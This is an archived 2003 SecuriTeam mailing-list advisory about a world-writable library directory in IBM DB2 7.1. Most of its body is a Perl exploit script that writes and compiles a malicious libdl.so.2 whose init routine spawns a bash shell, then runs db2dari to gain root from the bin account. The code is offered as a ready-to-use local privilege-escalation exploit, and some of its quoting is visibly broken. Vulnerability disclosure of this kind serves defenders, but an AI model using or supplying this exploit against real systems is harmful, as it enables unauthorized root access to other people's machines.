

# [EXPL] IBM DB2 Lib Directory Vulnerability Allows Gaining of Elevated Privileges (Exploit)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0043.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 08/14/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 14 Aug 2003 14:34:02 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for MSIS

In this guide you will find out how to test, purchase, install and use a Thawte Digital Certificate on your MSIS web server. Throughout, best practices for set-up are highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates. Get your copy of this new guide now: <http://ad.doubleclick.net/clk;5903126;8265119;j>

-----  
IBM DB2 Lib Directory Vulnerability Allows Gaining of Elevated Privileges (Exploit)

---

## SUMMARY

A vulnerability in IBM's DB2 allows local users to gain bin privileges (elevated privileges) by exploiting the fact that the `/usr/IBMdb2/V7.1/lib` directory is left world writable after a default installation. The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Vulnerable systems:

\* IBM DB2 version 7.1

Exploit:

```
#!/usr/bin/perl
```

## Securiteam: [EXPL] IBM DB2 Lib Directory Vulnerability Allows Gaining of Elevated Privileges (Exploit)

```
#IBM DB2 local root from uid=bin
#deadbeat,
#e: daniels@legend.co.uk
#e: deadbeat@sdf.lonestar.org

print "\nIBM db2 local bin escape to root sploit\n";
print "Preparing exploit...\n";

system("cd /usr/IBMdb2/V7.1/lib");
open FILEHANDLE, (">foo.c")or die "Cant open foo for writing..:\n";
print FILEHANDLE "#include <stdio.h>\n";
print FILEHANDLE "#include <string.h>\n\n";
print FILEHANDLE "_init() {\n";
print FILEHANDLE "\tprintf(\"init..()\n");\n";
print FILEHANDLE "\tprintf(here we go: PID=%i EUID=%i\", getpid(),
getuid());\n";
print FILEHANDLE "\tsystem(\"/bin/bash\");\n";
print FILEHANDLE "\tprintf(\"wicked done and dusted..\n");\n";
print FILEHANDLE "}";
close FILEHANDLE;
system("gcc -fpic -shared -o libdl.so.2 foo.c");
exec("db2dari")
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:deadbeat@sdf.lonestar.org>>  
deadbeat.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.